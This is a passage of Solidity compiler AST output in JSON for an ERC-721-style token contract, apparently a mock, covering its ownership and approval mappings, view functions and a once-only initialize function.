address)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":32933,"name":"address","nodeType":"ElementaryTypeName","src":"1171:7:21","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}},"visibility":"internal"},{"id":32939,"nodeType":"VariableDeclaration","src":"1204:47:21","nodes":[],"constant":false,"mutability":"mutable","name":"_balanceOf","nameLocation":"1241:10:21","scope":33498,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"typeName":{"id":32938,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":32936,"name":"address","nodeType":"ElementaryTypeName","src":"1212:7:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"1204:27:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":32937,"name":"uint256","nodeType":"ElementaryTypeName","src":"1223:7:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}},"visibility":"internal"},{"id":32963,"nodeType":"FunctionDefinition","src":"1258:158:21","nodes":[],"body":{"id":32962,"nodeType":"Block","src":"1340:76:21","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":32958,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"components":[{"id":32952,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":32948,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32945,"src":"1359:5:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":32949,"name":"_ownerOf","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32935,"src":"1367:8:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_uint256_$_t_address_$","typeString":"mapping(uint256 => address)"}},"id":32951,"indexExpression":{"id":32950,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32941,"src":"1376:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1367:12:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1359:20:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"id":32953,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"1358:22:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"arguments":[{"hexValue":"30","id":32956,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1392:1:21","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":32955,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1384:7:21","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":32954,"name":"address","nodeType":"ElementaryTypeName","src":"1384:7:21","typeDescriptions":{}}},"id":32957,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1384:10:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1358:36:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4e4f545f4d494e544544","id":32959,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1396:12:21","typeDescriptions":{"typeIdentifier":"t_stringliteral_e904b298bc24890ae0c043938d840f08b90773c1635904efe1336d6f851f98ca","typeString":"literal_string \"NOT_MINTED\""},"value":"NOT_MINTED"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_e904b298bc24890ae0c043938d840f08b90773c1635904efe1336d6f851f98ca","typeString":"literal_string \"NOT_MINTED\""}],"id":32947,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1350:7:21","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":32960,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1350:59:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":32961,"nodeType":"ExpressionStatement","src":"1350:59:21"}]},"baseFunctions":[32018],"functionSelector":"6352211e","implemented":true,"kind":"function","modifiers":[],"name":"ownerOf","nameLocation":"1267:7:21","overrides":{"id":32943,"nodeType":"OverrideSpecifier","overrides":[],"src":"1307:8:21"},"parameters":{"id":32942,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32941,"mutability":"mutable","name":"id","nameLocation":"1283:2:21","nodeType":"VariableDeclaration","scope":32963,"src":"1275:10:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32940,"name":"uint256","nodeType":"ElementaryTypeName","src":"1275:7:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1274:12:21"},"returnParameters":{"id":32946,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32945,"mutability":"mutable","name":"owner","nameLocation":"1333:5:21","nodeType":"VariableDeclaration","scope":32963,"src":"1325:13:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32944,"name":"address","nodeType":"ElementaryTypeName","src":"1325:7:21","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1324:15:21"},"scope":33498,"stateMutability":"view","virtual":true,"visibility":"public"},{"id":32986,"nodeType":"FunctionDefinition","src":"1422:177:21","nodes":[],"body":{"id":32985,"nodeType":"Block","src":"1503:96:21","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":32977,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":32972,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32965,"src":"1521:5:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"arguments":[{"hexValue":"30","id":32975,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1538:1:21","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":32974,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1530:7:21","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":32973,"name":"address","nodeType":"ElementaryTypeName","src":"1530:7:21","typeDescriptions":{}}},"id":32976,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1530:10:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1521:19:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"5a45524f5f41444452455353","id":32978,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1542:14:21","typeDescriptions":{"typeIdentifier":"t_stringliteral_71869b3729b99fadce3ee30cb1aa2a0d639e6a2d24158c1ae1ae0059e81b72af","typeString":"literal_string \"ZERO_ADDRESS\""},"value":"ZERO_ADDRESS"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_71869b3729b99fadce3ee30cb1aa2a0d639e6a2d24158c1ae1ae0059e81b72af","typeString":"literal_string \"ZERO_ADDRESS\""}],"id":32971,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1513:7:21","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":32979,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1513:44:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":32980,"nodeType":"ExpressionStatement","src":"1513:44:21"},{"expression":{"baseExpression":{"id":32981,"name":"_balanceOf","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32939,"src":"1575:10:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":32983,"indexExpression":{"id":32982,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32965,"src":"1586:5:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1575:17:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":32970,"id":32984,"nodeType":"Return","src":"1568:24:21"}]},"baseFunctions":[32010],"functionSelector":"70a08231","implemented":true,"kind":"function","modifiers":[],"name":"balanceOf","nameLocation":"1431:9:21","overrides":{"id":32967,"nodeType":"OverrideSpecifier","overrides":[],"src":"1476:8:21"},"parameters":{"id":32966,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32965,"mutability":"mutable","name":"owner","nameLocation":"1449:5:21","nodeType":"VariableDeclaration","scope":32986,"src":"1441:13:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32964,"name":"address","nodeType":"ElementaryTypeName","src":"1441:7:21","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1440:15:21"},"returnParameters":{"id":32970,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32969,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32986,"src":"1494:7:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32968,"name":"uint256","nodeType":"ElementaryTypeName","src":"1494:7:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1493:9:21"},"scope":33498,"stateMutability":"view","virtual":true,"visibility":"public"},{"id":32990,"nodeType":"VariableDeclaration","src":"1793:49:21","nodes":[],"constant":false,"mutability":"mutable","name":"_getApproved","nameLocation":"1830:12:21","scope":33498,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_uint256_$_t_address_$","typeString":"mapping(uint256 => address)"},"typeName":{"id":32989,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":32987,"name":"uint256","nodeType":"ElementaryTypeName","src":"1801:7:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Mapping","src":"1793:27:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_uint256_$_t_address_$","typeString":"mapping(uint256 => address)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":32988,"name":"address","nodeType":"ElementaryTypeName","src":"1812:7:21","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}},"visibility":"internal"},{"id":32996,"nodeType":"VariableDeclaration","src":"1849:71:21","nodes":[],"constant":false,"mutability":"mutable","name":"_isApprovedForAll","nameLocation":"1903:17:21","scope":33498,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_bool_$_$","typeString":"mapping(address => mapping(address => bool))"},"typeName":{"id":32995,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":32991,"name":"address","nodeType":"ElementaryTypeName","src":"1857:7:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"1849:44:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_bool_$_$","typeString":"mapping(address => mapping(address => bool))"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":32994,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":32992,"name":"address","nodeType":"ElementaryTypeName","src":"1876:7:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"1868:24:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_bool_$","typeString":"mapping(address => bool)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":32993,"name":"bool","nodeType":"ElementaryTypeName","src":"1887:4:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}}},"visibility":"internal"},{"id":33009,"nodeType":"FunctionDefinition","src":"1927:120:21","nodes":[],"body":{"id":33008,"nodeType":"Block","src":"2007:40:21","nodes":[],"statements":[{"expression":{"baseExpression":{"id":33004,"name":"_getApproved","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32990,"src":"2024:12:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_uint256_$_t_address_$","typeString":"mapping(uint256 => address)"}},"id":33006,"indexExpression":{"id":33005,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32998,"src":"2037:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"2024:16:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":33003,"id":33007,"nodeType":"Return","src":"2017:23:21"}]},"baseFunctions":[32074],"functionSelector":"081812fc","implemented":true,"kind":"function","modifiers":[],"name":"getApproved","nameLocation":"1936:11:21","overrides":{"id":33000,"nodeType":"OverrideSpecifier","overrides":[],"src":"1980:8:21"},"parameters":{"id":32999,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32998,"mutability":"mutable","name":"id","nameLocation":"1956:2:21","nodeType":"VariableDeclaration","scope":33009,"src":"1948:10:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32997,"name":"uint256","nodeType":"ElementaryTypeName","src":"1948:7:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1947:12:21"},"returnParameters":{"id":33003,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33002,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":33009,"src":"1998:7:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":33001,"name":"address","nodeType":"ElementaryTypeName","src":"1998:7:21","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1997:9:21"},"scope":33498,"stateMutability":"view","virtual":true,"visibility":"public"},{"id":33026,"nodeType":"FunctionDefinition","src":"2053:161:21","nodes":[],"body":{"id":33025,"nodeType":"Block","src":"2156:58:21","nodes":[],"statements":[{"expression":{"baseExpression":{"baseExpression":{"id":33019,"name":"_isApprovedForAll","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32996,"src":"2173:17:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_bool_$_$","typeString":"mapping(address => mapping(address => bool))"}},"id":33021,"indexExpression":{"id":33020,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33011,"src":"2191:5:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"2173:24:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_bool_$","typeString":"mapping(address => bool)"}},"id":33023,"indexExpression":{"id":33022,"name":"operator","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33013,"src":"2198:8:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"2173:34:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":33018,"id":33024,"nodeType":"Return","src":"2166:41:21"}]},"baseFunctions":[32084],"functionSelector":"e985e9c5","implemented":true,"kind":"function","modifiers":[],"name":"isApprovedForAll","nameLocation":"2062:16:21","overrides":{"id":33015,"nodeType":"OverrideSpecifier","overrides":[],"src":"2132:8:21"},"parameters":{"id":33014,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33011,"mutability":"mutable","name":"owner","nameLocation":"2087:5:21","nodeType":"VariableDeclaration","scope":33026,"src":"2079:13:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":33010,"name":"address","nodeType":"ElementaryTypeName","src":"2079:7:21","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":33013,"mutability":"mutable","name":"operator","nameLocation":"2102:8:21","nodeType":"VariableDeclaration","scope":33026,"src":"2094:16:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":33012,"name":"address","nodeType":"ElementaryTypeName","src":"2094:7:21","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"2078:33:21"},"returnParameters":{"id":33018,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33017,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":33026,"src":"2150:4:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":33016,"name":"bool","nodeType":"ElementaryTypeName","src":"2150:4:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"2149:6:21"},"scope":33498,"stateMutability":"view","virtual":true,"visibility":"public"},{"id":33029,"nodeType":"VariableDeclaration","src":"2473:24:21","nodes":[],"constant":false,"documentation":{"id":33027,"nodeType":"StructuredDocumentation","src":"2401:67:21","text":"@dev A bool to track whether the contract has been initialized."},"mutability":"mutable","name":"initialized","nameLocation":"2486:11:21","scope":33498,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":33028,"name":"bool","nodeType":"ElementaryTypeName","src":"2473:4:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"private"},{"id":33056,"nodeType":"FunctionDefinition","src":"2706:212:21","nodes":[],"body":{"id":33055,"nodeType":"Block","src":"2777:141:21","nodes":[],"statements":[{"expression":{"arguments":[{"id":33039,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"2795:12:21","subExpression":{"id":33038,"name":"initialized","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33029,"src":"2796:11:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"414c52454144595f494e495449414c495a4544","id":33040,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2809:21:21","typeDescriptions":{"typeIdentifier":"t_stringliteral_241395e6b20092ec3fd5dfc22ea70fc2615c08854b7fd10fb3028d965cf738f3","typeString":"literal_string \"ALREADY_INITIALIZED\""},"value":"ALREADY_INITIALIZED"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_241395e6b20092ec3fd5dfc22ea70fc2615c08854b7fd10fb3028d965cf738f3","typeString":"literal_string \"ALREADY_INITIALIZED\""}],"id":33037,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"2787:7:21","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":33041,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2787:44:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33042,"nodeType":"ExpressionStatement","src":"2787:44:21"},{"expression":{"id":33045,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":33043,"name":"_name","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32902,"src":"2842:5:21","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string storage ref"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":33044,"name":"name_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33032,"src":"2850:5:21","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"src":"2842:13:21","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string storage ref"}},"id":33046,"nodeType":"ExpressionStatement","src":"2842:13:21"},{"expression":{"id":33049,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":33047,"name":"_symbol","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32904,"src":"2865:7:21","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string storage ref"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":33048,"name":"symbol_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33034,"src":"2875:7:21","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"src":"2865:17:21","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string storage ref"}},"id":33050,"nodeType":"ExpressionStatement","src":"2865:17:21"},{"expression":{"id":33053,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":33051,"name":"initialized","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33029,"src":"2893:11:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"74727565","id":33052,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"2907:4:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"src":"2893:18:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":33054,"nodeType":"ExpressionStatement","src":"2893:18:21"}]},"documentation":{"id":33030,"nodeType":"StructuredDocumentation","src":"2504:197:21","text":"@dev To hide constructor warnings across solc versions due to different constructor visibility requirements and\n syntaxes, we add an initialization function that can be called only once."},"functionSelector":"4cd88b76","implemented":true,"kind":"function","modifiers":[],"name":"initialize","nameLocation":"2715:10:21","parameters":{"id":33035,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33032,"mutability":"mutable","name":"name_","nameLocation":"2740:5:21","nodeType":"VariableDeclaration","scope":33056,"src":"2726:19:21","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":33031,"name":"string","nodeType":"ElementaryTypeName","src":"2726:6:21","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":33034,"mutability":"mutable","name":"symbol_","nameLocation":"2761:7:21","nodeType":"VariableDeclaration","scope":33056,"src":"2747:21:21","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":33033,"name":"string","nodeType":"ElementaryTypeName","src":"2747:6:21","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"2725:44:21"},"returnParameters":{"id":33036,"nodeType":"ParameterList","parameters":[],"src":"2777:0:21"},"scope":33498,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":33098,"nodeType":"FunctionDefinition","src":"3106:301:21","nodes":[],"body":{"id":33097,"nodeType":"Block","src":"3184:223:21","nodes":[],"statements":[{"assignments":[33065],"declarations":[{"constant":false,"id":33065,"mutability":"mutable","name":"owner","nameLocation":"3202:5:21","nodeType":"VariableDeclaration","scope":33097,"src":"3194:13:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":33064,"name":"address","nodeType":"ElementaryTypeName","src":"3194:7:21","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":33069,"initialValue":{"baseExpression":{"id":33066,"name":"_ownerOf","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32935,"src":"3210:8:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_uint256_$_t_address_$","typeString":"mapping(uint256 => address)"}},"id":33068,"indexExpression":{"id":33067,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33060,"src":"3219:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"3210:12:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"3194:28:21"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":33081,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":33074,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":33071,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"3241:3:21","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":33072,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3245:6:21","memberName":"sender","nodeType":"MemberAccess","src":"3241:10:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":33073,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33065,"src":"3255:5:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"3241:19:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"baseExpression":{"baseExpression":{"id":33075,"name":"_isApprovedForAll","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32996,"src":"3264:17:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_bool_$_$","typeString":"mapping(address => mapping(address => bool))"}},"id":33077,"indexExpression":{"id":33076,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33065,"src":"3282:5:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"3264:24:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_bool_$","typeString":"mapping(address => bool)"}},"id":33080,"indexExpression":{"expression":{"id":33078,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"3289:3:21","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":33079,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3293:6:21","memberName":"sender","nodeType":"MemberAccess","src":"3289:10:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"3264:36:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"3241:59:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4e4f545f415554484f52495a4544","id":33082,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3302:16:21","typeDescriptions":{"typeIdentifier":"t_stringliteral_e7e213d5e2bee0acc2c7bf8bfda19ef0cae82e7b8c997e7e898919269971e7c4","typeString":"literal_string 